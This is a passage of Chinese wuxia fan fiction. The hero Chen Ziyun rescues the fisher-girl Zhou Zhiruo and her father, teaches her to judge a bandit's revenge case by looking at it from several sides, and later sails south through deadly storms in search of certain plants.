“别动,把你的臭熏熏的咸鱼拿走,我们这里是大酒楼,不是济善堂,赶紧走,你再堵着门口,影响了生意你吃罪不起。” 小二正在把这小女孩往外推攘着。 “呜呜,可是我父亲病的好厉害,他在发抖,可船上的柴火也烧完了。我在雪地里找了好久,可找到的柴火都湿透了,求求你了大老爷。 等我父亲好了,他会把柴火还给你的。” 那小女孩已经声泪俱下了。 “走走走,谁要你的柴,你身上都是鱼臭味,你们的柴也是臭的,要是酒店里用你们的柴,哪里还会有客人来。赶紧的吧!” 小二看到已经变了脸色的掌柜,用力的推了小女孩一把。那小女孩本来身上就没有几两肉,哪里挡得住一个成年人的力量,顿时就往后摔了出去。 虽然说现在地上有些积雪可以作为缓冲,可即使这样,如此寒冷的天气跌倒在地上,也够这小女孩受的了。 何况那只能覆盖到小女孩膝盖的破棉衣要是再被地上化了一半的雪给打湿,又没有柴火取暖,说不定小命都堪忧。 陈子云顺手就一把捉住了小女孩的后背衣领,再是轻轻一提,女孩整个人就像是被捉起来的棉绒娃娃,又被陈子云轻轻的放在了地上。 那女孩还没反应过来是怎么回事,连那本来张着准备叫喊的小嘴也没有合上。 “给她拿几个肉包子,再拿些炭火,记在我账上。哦,再给我一坛好酒,预备些下酒菜送到我房里来。” 陈子云收了伞递给小二,随口吩咐道。 “诶,好的客官,您可是真菩萨心肠了,也不是小的我不想做好人......” 小二似乎想解释,可陈子云却已经自顾自的上楼了。 小二无奈的感觉自己失去了一个拍阔气客人的马屁的机会。 “怎么的,还傻着呢,赶紧跟我去后面,你碰到佛祖老爷了,要给肉包子呢,我都没吃过几回。” 小二拉着还直愣愣看着陈子云背影的女孩,从酒店的外侧往后院去了。 第六十八章 终相遇 小女孩再次从酒店的后院出来时,她撩着本来就不长的棉袄下摆,因为里面装着的是她用来救自己父亲的木炭。 哦,还有四个放在漆黑的木炭上头的白面馒头,虽然不是那位神仙一般的恩人说的肉包子,虽然那个可恶的店小二还拿走了两个。 可她现在已经很知足了,因为她的父亲有活下来的希望了。 这场雪足足下了三天三夜,也不知道有多少无家可归的人被这场丝毫没有声响的屠杀收去了性命。 陈子云连续几天出门都随身带着酒葫芦,这葫芦是酒店掌柜送他的。自然不如他以前自己陶来的那个好,可惜没有带到这世界来。 陈子云这几天,一边找人,一边赏雪,一边喝酒,偶尔遇见几个出来看雪景的文人雅士也跟着附和几句,倒也是过的安逸。 而有一次出门之后,不知为何越走雪却是越大。陈子云当然不会在意,可那位刚认识不久的书生却是受不了了,直接拉着陈子云往他以前知道的一个庙宇里跑。 “诶,怎么塌了一半。” 原来这书生找的乡野小庙,不知何时已经成了一个破庙。 “诶,里面有火光,怎么有人在?” 书生往里面招呼了一声,似乎是在叫一个和尚的法名,可惜没人应答他。 一进门陈子云就闻到了一个浓重的鱼腥味,这味道跟他这些天在岸边寻人时闻到的如出一辙。 “啊,好臭啊,定是有人死在里面了。” 寺庙里虽然点着一堆炭火,但是并不怎么明亮,这书生自然看不到寺庙里正有两人窝在寺庙的一角。 陈子云走了过去,因为他发现,从他们进来之后,那两人似乎也没有反应,如果真的死了,怕也是要帮着把人埋了才好。 一床又破又旧的棉被鼓胀着,下面躲着的两个人似乎还有些微弱的气息。一个头发灰白的老者,脸上涨的通红,一看就知道是在发热。 而那脸上灰不溜秋的小女孩,则是在瑟瑟的发抖,明显是被冻饿的晕了。 “刘兄,这人还活着,有救,咱们把人送一趟医馆。” 陈子云招呼了一声那个刚认识不久的书生。 “啊,陈兄,这是破庙里的乞丐啊,你这是?” 这位刘兄见陈子云此时把一个浑身散发着恶臭的老乞丐背在了自己身上,吓的连忙后退了几步。 陈子云看了他一眼,也知道自己不用再跟他浪费时间了,解下自己的腰带,把这老乞丐困在自己背上,然后抱起那个冻的发紫的小女孩,直接出了庙门。 等陈子云把人送到医馆,跟大夫说了一下两人大致的情况,大夫也是点头,随即就叫人拿来了汤药。 这种时候,医馆里的病人多数就是热症跟冻伤,医馆如今那几个药罐子里熬的都是这类的药,所以不用等直接就可以先救人。 这样的及时性,对于这样的病症是很关键的,说不准这熬药的半个时辰就是救命的最佳时间。 “这位先生,这两位是?” 等两人服下了汤药,医者才问陈子云道,也不怪他疑心,只要看一眼陈子云的衣着风度,也不会把两个乞丐认成他的家人。 “只是遇着了。” 陈子云道。 “先生好心肠,这二人也是好运道。可惜这场雪下来,好运道的人怕是不多啊。” 医者感叹道。 “或许再过几年就会好了。” 陈子云也叹了一声,其实他想说的是,如果能把那些东西找到,这世道就会好很多了。 “难啊!” 医者不再说话。 陈子云在两人的床边观察了一阵,他发现那个老乞丐在喝了汤药之后,症状好了不少,呼吸也变的强健了。 而那个女孩,因为身上的衣物实在不合身了,这汤药也不过是治标不治本。 陈子云先是渡了一些内力给她驱寒,又让医馆里的煎药童子,去成衣店买了一件棉杉,又买了一床厚被子。 直到听得小女孩在迷迷糊糊的喊什么“恩人,恩人”,陈子云才放心的离开了。 下雪不冷,化雪冷。 等太阳出来了,却是冷的连陈子云都不愿意出门了。实在是这样化雪的天气,不但路上泥泞湿滑,而且也没了半点景致,又出去做什么。 还不如坐在暖炉边,一边喝酒,一边晒着太阳。 这雪下了三天,化雪却化了五天,直到连续的三天大太阳之后,路面上的泥泞才好转了一些。 “怎么又是你,真是不得好了,得了一次便宜,你还缠上人了,赶紧走,否则楼里住的大爷不打你,我都要打了。” 小二好似又在门口与什么人起了争执。 这一场大雪过后天空都干净了不少,街面上也少了不少乞丐之流,可这样的干净,终究带着些凄惨。 “恩人,我们不是乞丐,是来给你送还衣服的。” 这是一个嘶哑的男音,听着好像还有些无力。 陈子云往门口望了一眼,随后就起身走了过去。 一男一女,一老一少,刚见到陈子云出来就直接拜倒在了地上。 陈子云也没有制止,活命之恩,他该受的,强行制止,才会让这两人不安。 “好了,拜也拜了,谢也谢了,起来吧。” “老汉周水生,永世不忘恩人活命之恩。” “小女周芷若拜谢恩人,叩谢恩人两次救命之恩。” 陈子云愣住了,本来已经回转的身体也停在了半空。 看着那还病诺诺的小脸,实在是对不上心中那个出身渔家却姿色秀丽的描写。 “你叫周芷若?” “是的,恩人,芷若这名字是老汉用一尾难得的红鲤鱼,请城里的算命先生取的。” 周水生答道。 “好,哈哈哈哈,好的很。” 陈子云心里一股难言的畅快与欣喜,没想到自己苦寻不着的人竟然自己找了上来,还有什么比这更让人开心的。 “小二,再开一间房,然后准备洗澡水给他们两人洗澡,再去买几件适合他们穿的衣服。” 陈子云直接把一把散碎银子塞到了小二手里。 “使不得啊,恩人,我们父女刚承你活命之恩,还不止如何回报,怎么能再接受你的恩惠。” 周水生佝偻着身子,连连摇手。 第六十九章 教学 “不,从今天开始,你们跟我走,我带你们去一个相对安乐一些的地方,些许银子你们不用在意。” 陈子云也不容两人决绝,直接拉着手就把他们带到了自己的桌子那边,摁着他们坐下,让他们先吃些东西。 周水生在桌角讷讷的不言语,反倒是周芷若这个小丫头率先拿起了筷子。 “芷若,这怎么使得,快放下。” “爹爹,反正我们都已经欠了公子一条命了,怎么还都还不完,这些吃的喝的又算的上什么。 吃了这顿饭之后,我们听公子安排便是了。” “这......” “哈哈哈,芷若妹子说的在理。周老汉,既然我说了你们以后跟我了,自然就要顾你们的一碗安乐茶饭,这些东西你尽管吃着。 要是心里还过意不去,你就当我提前支给你的工钱,我那个地方也有条河,到时候你打鱼还我就是了。” 陈子云笑着说道。 “是是是。” 周水生连连点头。 为了照顾周氏父女,陈子云雇了一辆宽敞的大马车,毕竟两人大病初愈,现在又要赶路回第一村,这一路上颠簸,总是要让他们舒服些。 一开始两人都有些战战兢兢,这般豪华的马车别说是坐,他们连见得到的机会都少得很。 如果不是陈子云强压着,父女二人还想坐在前面赶车人的位置上,不肯进来。 这一路向西,陈子云他们也不是光顾着赶路,到了一些城镇,也会带着周芷若去见见世面。 毕竟他现在要培养的不再是一个只知道江湖打打杀杀的一派掌门,而是要一个将来能执掌他一切的接班人。 周芷若不但要知道这个江湖是怎么回事,也要理解这个社会是如何运行的。 所以陈子云不仅带着周芷若去各地的江湖门派拜码头,也会找一些官绅家庭拜访。 以陈子云的学识教养,自然也不会被人拒之门外。 也许是因为没有接触过真正的士绅家庭,周芷若好像对这样谦卑讲理的人群特别感兴趣。 以至于邯郸学步的开始模仿这些家庭的一些礼仪教养,这不算是坏事,但是陈子云也必须告诉她一些关于这个阶层的底细。 “芷若,你是不是觉得这样的士绅家庭很有教养,待人很客气,很有礼貌?” “是的,公子,芷若觉得他们真的好厉害,知道那么多的东西,还一点也不骄傲。不像那些有钱的商人,总是看不起人。” “哈哈哈,芷若观察的很仔细。不过芷若你再想想,如果今天来拜访这家人的是你自己,而不是我跟你一起,你觉得会怎么样?” “这个......” 周芷若闭上了她那还有些发黄的大眼睛,在努力的思索。 “公子,我知道了,你是说,他们之所以对芷若礼貌客气,是因为看在陈大哥的份上,而不是因为我,也不是他们天生就是如此。” “不错,不错。我再带你去看些东西。” 陈子云带着周芷若来到了街上,在四周搜寻了片刻,然后指着其中的一家店铺跟她说道。 “芷若,你看到那一老一少了吗?” “嗯,看到了,那个老爹好像是在教训那个少年,好凶的样子,哎呀,还打人了。” “那芷若觉得,那老人是不是做的不对?” “不,芷若并不知道那两人的关系,如果他们是父子,那父亲打儿子就没有错的。” “哦,为什么父亲打儿子就不是错,而如果只是一般的陌生人打人就不对呢?” 陈子云饶有兴趣的追问道。 “这......” “芷若是不是想说,这天下所有人都是这样的,所以你就觉得这是对的。” “是的,公子,我以前跟爹爹一起在船上生活。虽然爹爹从来未打过芷若,可那些跟我们一起在汉水上捕鱼的叔叔伯伯们,总是要打他们的子女的,芷若可是见过好几次呢。” “不错,这世间大多都是如此情形,可芷若有没有认真的想过,难道这世间都是如此,便是对的吗?” “啊?!” 周芷若满脸惊骇的看着陈子云,一时不知道要怎么回复。 “好了好了,这个问题对你来说还是太大了些。我今天要告诉你只有一个,就是在碰到任何事情之后,要多问自己一个为什么,不管这件事又多么的合乎情理,你都要自己学会思考,而不是随波逐流。” 陈子云摸摸周芷若有些枯黄的头发,让她不要着急。 后面的这一路上,陈子云带着周芷若见了天下山川景色的迥异,也试着让她自己分辨路上遇见的那些江湖人、书生、放牛郎,哪些算的上好人,那些算的上坏人。 陈子云的目的不是直接灌输给周芷若简单明了的是非观,而是想让她学会主动思考。 比如,有一天他们见到了一个路见不平拔刀相助的侠士,从一个面貌凶恶的山匪首领手下救下了一对可怜的少年兄妹。 当时周芷若看到这情形在陈子云面前大大的称赞了一番那位江湖侠客的所为,也指责那个强盗毫无人性。 正当那位侠士要代表太阳处决那位强盗时,陈子云拦下了他。 “你为什么要追着这两个小孩子不放,他们身上并没有什么值得你抢的东西了。” 陈子云问那个强盗。 “哼,我杀他们不是为了钱,他们姓朱的都该死。” 那个强盗倒是有几分硬气。 后面经过陈子云的一番手段,那个凶恶的强盗才说明了原委。原来他本是附近一个叫朱家庄的村民,他姓卢,他们一家是外来户,但是在朱家庄也扎根了三代了。 本来一家四口,加上一个耄耋老人,靠着从朱家庄最大的地主朱大员外手里租来的田地,还算是能过活。 可在朱家做帮工的姐姐,有一天突然跑回来,说自己被当时的朱家大少爷欺负了,哭的那是一个凄惨。 卢家几人自然要找朱家算账,他们是租户又不是卖身给他朱家的家奴,好好的一个闺女怎么能被这么平白无故的祸害了。 可还没等卢家找上门,朱家的大管家带着一帮子家丁佣人就来到了卢家。说是卢家的女儿手脚不干净偷了朱家大少爷的东西,被发现之后不但逃走了,还打伤了大少爷。 卢家姐姐大声喊冤,可这里附近都是朱家庄的本姓之人,那朱大少爷又是庄子里难得的读书人,自然是偏向于这位大少爷的话语。 纷纷指责卢家不会教女儿,教出个窃贼来。 听到这些话,本来就老迈的卢家太爷,直接一口气没上来,当场就被活活的气晕死过去了。 而那朱家的管家就指挥着家丁和佣人,将卢家女儿和她父母一起压到了衙门里。 第七十章 调查 案子很快就判定了,并且当堂就从卢家女儿的身上搜出了一只金簪子,这显然不可能是他们这种人家能有的东西,自然就作为了物证。 所以人证物证皆在,不管卢家人怎么喊冤,官老爷惊堂木一拍,直接就把人收监了。 可这还不算完,朱家管家还指着卢家的人说,朱家丢的不止一个金簪子,还有别的,肯定是被藏起来了,就要卢家人赔偿。 可他们哪里有什么东西好陪的的,可要是不赔偿,被关在牢里的女儿就永远出不来了。 没办法,卢家只能把家里所有能卖的东西都卖了,除了留下一张草席收敛卢家老太爷,就是连锅碗都没能剩下。 到最后,管家知道是真的搜不出东西了,才放过了卢家。 可对于卢家这样的一户人家来讲,没了耕种的农具,没了吃饭的碗筷,这跟要了他们的命也没什么区别了。 不过是一个冬天,卢家父母把仅剩的衣服食物都留给了小儿子,而他们自己却只能去沿着街乞讨。 直到有一天,这个小男孩再也没有看见自己的父母回来,他才意识到,他们永远也不会回来了。 小男孩无奈的走出家门,想着去山上找些能吃的,不巧却是自己走进了山贼的贼窝。 后面也不知道该说这个小男孩是运气好,还是运气不好,竟然被山贼头子看上,认作了干儿子。 再后面,等那个老山贼头子死了,这个小孩就成了新的山贼头子,迫不及待的就带着人把这害他全家的朱家庄给抢了。 “他们这些人姓朱都是活该,没有一个好人,我杀他们有什么错?” 强盗表情凶恶的吼道。 “你胡说,这件事情我听我爹爹说过,就是那个卢家女趁着我奶奶不注意的时候,偷了东西,官府也判了的。” 那两个孩子中大一点的女孩说道。 “是你们朱家串通官府冤枉我姐姐的,你们姓朱的都是这般的伪君子,都该死。” 强盗自然不会因为小女孩的一句话改变着十几年的信念。 “就算你要报复朱家,可这两个孩子才多大,你何必为难他们?” 那个年轻的江湖侠士说了一句,显然他是站在现在看起来弱势的一方的。 “哼,我父母姐姐难道就不可怜了,就连我这个当时不过八九岁的孩童,要不是遇见了我义父,早就成了这山林中野兽的粪便了。难道他们朱家人的命是命,老子的命就是草吗?” 强盗怕是也知道今天没个好了,索性就豁出去了。 “芷若,现在你怎么看?” 陈子云把问题抛给了周芷若。 周芷若蹙着她那还有些发黄的细眉毛,一会儿看看那个凶恶的强盗,一会儿又看看那对惊慌的姐弟,一时之间哪里能理得出头绪来。 “芷若,你不要着急去根据这些表象或者听到的几句话就去判断这两方人的善恶对错。 你第一步要弄清楚的,是这件事情可以从哪里着手去分析,只有找到了这一根线头,你才有解开这个事件的可能。” “线头,哪个是线头?他吗,还是他姐姐,或者当时的大少爷?” 周芷若指着强盗斜着头问道。 “我该说的都说了,至于我姐姐早就不在人世了,她在被关进牢狱之后没多久就自尽了,就是受了他们朱家人的侮辱死的。” 强盗愤恨的说道。 “我爹爹也不在了,他被这个坏人杀了,还有我妈妈,呜呜。” 那位姐姐啜泣着说道。 “那还有谁,那位判案的官老爷吗?” “一般的地方官不可能在同一个地方驻留这么久的,肯定是早调走了。” 陈子云说道。 “啊,那不是一个人都不剩了,这可怎么办,公子?” 周芷若有些着急的问道。 “芷若,别急,你再想想,是不是还漏了谁?” “漏了谁?” 周芷若自语道。 “那个管家,他还活着吗?” 少年侠士激动的问道,陈子云给了他一个嫌弃的眼神,早知道就应该让他闭嘴的。 “对啊,还有那个管家。” 周芷若惊呼。 “管家爷爷已经很老了,他被送到了农庄里养老去了,我们也很久没见他了。” 那个小一点的弟弟说道。 “嘿,我说怎么没有再朱家找到那个杀胚,就是他把我家的东西都抢走的,害的我那可怜的父母......” 强盗此时也红着眼,流下了泪来。 “那个农庄在哪里?” 陈子云问道。 “在.....” 那小男孩正想说,却被他姐姐一把捂住了嘴。 “我们不知道。” 女孩这么拙劣的谎言,当然不可能骗得过任何人。 “小姐姐,你是担心我们找到了那个管家,这个家伙会对他不利是吗?小姐姐你放心,不管事情的真相如何,我们都可以保证不会让这个强盗伤害哪位管家的。” 周芷若言辞认真的说道。 不过那女孩并没有开口,而是看向陈子云,意思很明显,她不相信周芷若这个小女孩说的话。 “现在她说的,我都会配合。” 陈子云指了指周芷若笑着道。 周芷若突然感觉一股从来没体会过的骄傲油然而生,小心的抓住了陈子云的小指头,在感觉到陈子云没有意见之后,轻轻的摇晃着,满脸的快乐。 等陈子云他们找到那个管家的时候,他正在指挥着自己的儿子女儿们搬东西,好像是要逃难似的。 “管家爷爷,你们这是在做什么?” 姐弟两人的突然出现让那位老管家有些错愕,随即就是惊恐。 “别搬了,跑吧,赶紧跑,强盗要追来了。” 老管家大声的对着自己的家人喊道。 那个强盗看着这个老管家,就想直接冲上去杀人,被陈子云轻轻一按,直接趴在地上,怎么挣扎也起不来。 “老乌龟,你害死我父母,我要杀了你,啊......” 强盗徒劳的嘶吼着。 “强......盗,强盗来了。” 老管家激动之下,把手里的拐杖都丢了,随即也一屁股坐倒在地。看来这位管家已经收到了这位强盗报复朱家的消息。 有几个小辈想来扶起他,那个小年侠士抬了抬手中的剑,将人吓唬的不敢上前。 “老人家,说说呗,当年到底是怎么回事。” 此时的少侠也对这事情有了追根究底的兴趣。 第七十一章 真相 “没天理啊,强盗杀人没人管了,赶紧报官啊。” 那老管家竟然坐在地上哭嚎了起来,似乎是不想提起旧事,就想糊弄过去。 周芷若看了看还在地上挣扎的强盗,似乎有了主意。 “老人家,现在这个强盗已经被我们抓住了,正想把这人送官,但是我们现在又有急事,能不能麻烦你帮着我们送一下。” 周芷若说的很是客气,但那老管家一听到这话,吓得直接从地上爬了起来,动作还挺麻利的。 “不要,你们带走,带走,赶紧带走,我不送。” 老管家一边惊叫的,一边往自己的屋子里钻,可惜被那个少侠给拦着了。 陈子云看着这场景,轻笑了一声,一道指法弹在强盗身上,对方立刻就从地上蹿了起来,直扑老管家。 “啊......” 老管家顿时被吓的惨叫。 可那个强盗刚扑倒他的面前,就又不动了,只是两只眼睛睁的比铜铃还大,恐怖的目光注视着他。 “不要杀我啊,不关我的事啊,是那个小贱人自己不老实,偷主家的东西,本来就应该送官的啊。” 老管家又瘫软到了地上,裤裆里似乎已经湿了。 周芷若看着明明已经被吓得失禁的老管家,却还是同样的口吻,不由得怀疑难道真相真的就是如此? “偷了主家的东西,偷的是什么?” 陈子云突然问了一句。 “是夫人的金钗子,还有......还有银手镯。” “什么银手镯,你以前不是说是银项链吗?!” 强盗爆喝一声,他虽然被点住了穴道,却不影响说话。 “啊,是是是,是银项圈,是我记错了,我老糊涂了。” 老管家眼神闪躲,众人都看出了猫腻。 “你个老乌龟,老王八,我要杀了你。” 强盗直接一把扼住了老管家的喉咙,原来陈子云又解开了他的穴道。 “别打死,如果你想知道事情的始末。” 陈子云说了一句。 那强盗只得放下掐着老管家脖子的手,不过他也没就此罢手,而是解开了自己的腰带,从旁边的水缸里沾了水,一鞭子一鞭子的往老管家身上抽。 老管家哀嚎着,求饶着,终于把当年的事情说了出来。原来强盗姐姐偷盗是事实,但是偷的也就是那一只金簪子,并没有所谓的别的东西。 那不过是这个老管家为了给自己捞一笔,随便编出来的借口,也并不是真的要把人都逼死。可是谁也没想到,那年会是个灾年,强盗的父母没了家当,又没了收成,连上街乞讨都讨不到饭,最终活活饿死。 “啊.......” 强盗在仰天咆哮,他看着快要被自己打死的老管家,此时也不得不信,可一个人信仰了二十年的事实,结果却是假的。 最终却是他姐姐骗了他,害的自己家破人亡,这样的结果让他十几年来的冤屈变成了一种最大的讽刺。 把强盗交给了那位少侠,陈子云带着周芷若从新回到了马车上。这一路陈子云也没有再解释,他需要周芷若先自己思考,他要培养她思考的习惯。 马车再次出发,直到到了傍晚,三人停在一个湖边准备休息了,周芷若才开口问他。 “公子,芷若想了好久,可依旧不明白这件事情到底要怪谁。” “哈哈,不急,我们一个个来看,首先说说这个事情的起因,就是那位强盗的姐姐,他偷了主家的财物你说她对不对?” “这自然是不对的。” “那她是不是该死呢?” “不,虽然偷盗不对,但是罪不至死。” “那她为什么会选择自杀?” 周芷若摇摇头。 “好,那我们放下这个人,再说说这个趁火打劫的管家,他做的对不对?” “肯定也不对啊,怎么能诬赖人偷了别的东西,还抢了别人的家当,害死了那个强盗的父母。” “那你认为,这位管家做这样的事情时第一次呢,还是已经做了好几次了,他的主家,也就是朱家的大少爷知不知道?” “这个......应该是知道一些的吧,毕竟那对父母都上街乞讨了。” “那你觉得这个朱家的大少爷对自己的管家的行为视而不见,又该如何说呢?” “好像也不对,该罚。” “最后就是这个强盗了,他连事实的都没弄清楚,就着急的报仇雪恨,这样做又对不对呢?” “这......” 周芷若有些语塞了,不是他不知道该怎么评判这个强盗的行为,而是她好像领悟到了陈子云真正跟他说这些的意图。 这件事情的谁对谁错根本没有意义,已经成了定局,谁都无法改变。陈子云之所以这么不厌其烦的带着周芷若分析,只是在提醒她,一件事情从不同的角度看,不同的方式思考,会有完全不一样的分析。 “公子,我懂了,以后芷若一定不会只从表面就去论断一件事情或者一个人物的善恶好坏。” “哈哈哈,不急不急,你还小,我只是想你记住今天的事情,以后养成分析问题的习惯就好。做到多听多看,处处留心。” “嗯嗯,我记住了,公子。” 就这样,陈子云带着周芷若一路游荡,等回到了第一村已经是接近春节了。 经过陈子云这段时间的调理,周芷若也从一个黄毛丫头,渐渐变得强健了不少。眼睛乌黑了,头发也有了光泽,就连力气也长了不少。 如今裹在一件雪白色的裘衣里,整个看上去清新可人,脸上渐渐多起来的嫩肉也让她看起来终于有了一点美人胚子的意思。 陈子云回到第一村的第一时间就召集了所有人,当众宣布自己将收周芷若为入室弟子。 这根自己教的那些孩子不一样,那些人陈子云的态度最多就算是放养,算不得真正的弟子。 周芷若就不同,这个天赋极高的姑娘,有着能扛起借刀盟大旗的潜力。陈子云这样子做也是给周芷若一些压力,让她知道自己对她的期待,和她将来肩膀上要承担的责任。 陈子云的消息一公布,自然会引起有些人的不满,以及那些他教过一段时间的孩子对周芷若的敌意。 不过这些事情也是陈子云留给周芷若的小小考验,一个合格的领导者不单单是要有卓绝的无力,也要有让属下愿意跟随自己的魅力。 第七十二章 发展 后面的日子,陈子云就算是真正开启了种田模式,一方面跟第一村里的工匠一起研究各种工艺的改进措施。 比如建造大型的高温锻造炉,毕竟还有一把断着几节的倚天剑需要重铸;还有就是跟石匠师傅研究水泥烧制的可能性;再有就是跟木匠一起开发大型的水利设施。 另一方面就是布局江湖,随着时间的推移,那些年龄比较大的孩子,已经开始初步接触江湖了。 比如让人拿着借刀令去蝴蝶谷,把差点就丧命在金花婆婆手上的胡青牛夫妇接到了第一村来。 至于说两个初出茅庐的小子怎么会打得过曾经的紫衫龙王,现在的金华婆婆,这还是得益于那篇九阴真经里的速成功夫。 虽然内功修为还差的很,但是这些小家伙的白蟒鞭法已经可堪一用,尤其是当他们两人或者三人在一起的时候。 加上陈子云给他们专门设计的合击阵法,即使打不过金花婆婆也足够她投鼠忌器。 自从胡青牛夫妇到了第一村之后,在担任第一村第一医师毒师的同时,也负责开始教这些子弟们一些相关的知识。 培养他们简单的自我救治和应急治疗的手段,当然毒术的学习也是必须的,尤其是如何防备别人的下毒手段。 在这江湖上混,不怕人家明刀明枪的来,就怕不知道什么时候就着了别人的道,最后怎么死的都不知道。 还有就是派人轮流去海沙派督促那些去南阳的海船,每次一旦有海船回来,不管他们有没有带回陈子云要找的东西,都必须列行检查一番。 这些海沙派的家伙,大多数都是空手而归,就算有偶尔碰到岛屿的,其实也不是陈子云所说的南洋,这些人其实根本不敢在海里航行的太远。 陈子云此时也知道,如果自己不亲自走一趟,靠这些贩卖私盐获利的盐枭给自己卖命那基本是不可能找到南洋了。 在第二年的夏季来临之时,陈子云交代好了关于第一村和借刀盟的发展的方向,就带着一个名为方旭的弟子一起动身,乘坐海沙派的海船南下了。 方旭在几名弟子之中,算不上是最优秀的,但是他有个得天独厚的条件,那就是他本来就是长在海边的人。 不但水性好,对大海的脾气也是相当的了解,如果不是元朝的剥削无度,他们一家光靠在海边的捕鱼活计都能生活的很好。 而且方旭连降龙掌已经有一段时间了,尤其是“或跃在渊”这一招练的已经有了几分神韵,这也跟他熟悉水性分不开。 加上一些九阴真经上的速成功夫,一般的江湖二流都不一定是他的对手。所以说在陆地上打,那几名弟子中,方旭可能只能排到十名开外。 但是要在船上,或者在水中较量,没人敢说能稳赢他。 这一次的下南洋,陈子云一去就是半年,这一路上的艰辛是一般人无法想象的。 这个时代的航海技术还相当的落后,尤其是不管元朝作为一个由游牧民族建立的朝代,好像对大海有着天生的敬畏。 如果放在现代,估计从中国的广州出发,到菲律宾也就是几天的航程,可那是基于现代先进的钢铁游轮和早就开发完善的航道基础上的。 在这个时代,陈子云能唯一能依靠的就只有一个最原始的罗盘,还有就是这些被赶鸭子上架的航海员的个人经验。 在出发之前,陈子云对着所有参与本次航行的人,许诺了重利——找到地方就给予百金,找到东西顺利返回再给五十金,突出贡献者另有嘉奖。 这样的奖励足够这些普通的海沙派帮众奋斗一生,虽然这些人都知道这趟航程的危险,可想到一旦回来就能一辈子吃喝不愁,敢拼一把的人也是有的。 出发的时候陈子云他们的船队总共有三艘大船,两艘小船,总计人数七十八人。 可等他们返回的时候,三艘大船只剩下两艘,还都是破损严重的,小船更是完全不见了踪影,人不到三十。 这一趟旅程的危险已经可想而知,如果不是这次陈子云有先见之明,带着方旭这个熟悉大海的弟子,恐怕他也不一定能完整的回来。 这一路的航行,他们遇见了三次大的风暴,有一次幸运的找到了一个可以暂时停靠的孤岛躲了过去。 而剩下的两次,则是让所有人见识了,人与大海之间的差距。随便的一个浪头拍来,你除了跪下来祈祷海龙王不收你,没有任何其余的办法。 第一次直面风暴的时候,陈子云本来还想给这些人做一下动员,让他们一定要掌握好船只的方向。 还是方旭见事不可为,拉着他进了船舱躲起来。而也就是那一次,所有想在甲板上尽力维稳船只的人都被龙王抓去当女婿了。 就那么不到半个时辰的时间,他们的人数已经减半。 不过这对于剩下的人来讲也不全然是坏事,因为起码船上吃饭的人少了,那食物自然就多了。 如果不是这些多出来的事物,估计他们这些人也不一定有机会挨到登陆。 理由很简单,因为他们在经历过这次风暴之后,已经彻底迷失了方向。虽然罗盘还在,可这东西最多就指明一个大致的方向,并不能提供精确的方位。 陈子云一行人只能茫然的继续往南。 而没过几天,领航员突然发现连罗盘都坏了,船上所有的罗盘都指向一个地方,但是他们却发现已经几次经过了同一个小岛了。 这让所有人都很惶恐,没有什么比在大海上失去方向更让人恐惧的。 在大海上,没有罗盘的功能,你根本分不清东南西北,甚至有时候连上下左右你都不不确定。因为很多时候,天和海是连在一起的,看久了你会产生一种不知头上是天还是海的错觉。 这跟你在海滩山悠闲的吹海风不同,在走进大海的深处时,你就像是被海天组成的大口给吞下了,你要竭尽全力才能从里面逃出来。 等到再一次经过那个小岛的时候,有人直接被吓的精神失常了,口里呢喃着“海龙王娶亲了,要留下我们做客了。哈哈哈,回不去了,哈哈哈。” 陈子云当机立断直接一巴掌就把这家伙拍晕了,本来船上的士气就已经很低迷了,再被这个家伙刺激一下,搞不好就出现个集体无意识自杀。 第七十三章 下南洋 “所有领航员都不要看罗盘,我们应该是碰到磁石岛屿了。现在所有船只都按现在的方向前进,只要我们开出了这个磁力岛屿影响的范围就没事了。” 陈子云用内力扩音震慑了所有人的心神,让他们不自觉的就听从自己的安排。这时候他也没有别的办法,只希望跟他猜测的一样吧。 除了这种影响因素,他也想不到别的原因能让他们在海里兜圈子。 老天保佑,在船队航行了两个时辰之后,他们终于没有再经过那个小岛,他们逃出了龙王爷的邀请。 而陈子云个人遭受的最大威胁,是他们在第三次遇见风暴的时候,他们的船只直接被风暴不知道哪里搬运来的石头给砸中了。 那块高速砸来的石头,不但直接砸碎了两个船员,还把整艘大船都贯穿了。陈子云当时躲在船舱里还不知怎么回事,他只是听到了一声巨响,然后船体开始倾斜。 等他感觉到不对劲,准备出来查看的时候,发现整艘船已经断成了两节,而方旭正躲在另一截船体上,朝着他这边张望。 陈子云看着方旭张着嘴在风暴中朝他呼喊着,可是外界的声音太杂乱了,他根本听不清。 直到方旭毫不犹豫的一头扎进了海里,并挥手示意他跟上,陈子云才想起泰坦尼克号的教训,船体沉没的时候,会把周围的东西都拉进海里。 陈子云随手掰断一块船板,然后就朝着方旭所在的方向一跃。他可没有方旭那么好的水性,要是没有这块船板,自己不一定能游多久。 当方旭牵引着陈子云逃出了一段距离,看着那些惊恐无助的船员随着沉船跌落深海,陈子云也不免满是伤感。 这些人虽然跟他几乎不怎么认识,可终究是自己带出的人,如今却死在的这里,而他们的路还要继续。 等风暴过去,剩下的两艘大船把他们这些幸存的人都救了起来,有人抱怨为什么不在看到他们船沉落水的时候就来救,有几个人本来不用死的。 可说完后,他们自己便先哭了,因为作为常年走海的人,哪里会不知道,在那样的暴风雨里,谁都不会傻傻的靠近沉船,那只会把自己搭上。 等陈子云他们这伙人真正的登上陆地的时候,他们船上的食物已经所剩无几,这还是他们捕鱼充当食物之后的情况。 所以陈子云才感叹,他们要谢谢那些先死去的人,如果他们还活着,说不定他们都要活活饿死的在海里。 登上岸之后,陈子云观察了一番后,猜测他们大概率是到了菲律宾。经过这一路的艰辛,他也不指望靠他们这只船队能到更远的印尼或者马来去了。 刚登上陆地的人是无法正常在平地上行走的,因为这段时间你的全身感官已经适应了那种波涛起伏的状态。 此时一来到固定不动的地面,你反而会觉得走路不稳,连脑子里也有种眩晕。 陈子云足足用了三天的时间,才从新适应在陆地上行走的感觉。 相比于一上岸就能活蹦乱跳的方旭,陈子云感觉自己就是个菜鸟。 “老师,你不用担心,等下就好了。” 这是方旭在安慰陈子云时说的,可他却等了三天,看的方旭都有些糊涂了。 “我们那边刚出海的人,最多也就一天啊,老师怎么要这么久?” 陈子云恶狠狠的拍了拍这小子的脑袋,让他明白什么叫尊师重道。 人们一旦经历的苦难,就会对那本来设定的目标愈发的渴望,而当愿望落空,就会开始怨恨这世间的不公。 陈子云当时也是差点骂了娘,九死一生的到了南洋,却发现怎么找都没找到那几样植物的踪影。 一连半个月,陈子云指着自己皮革上画的图案给那些当地的土着看,得到的答案都是一致的摇头。 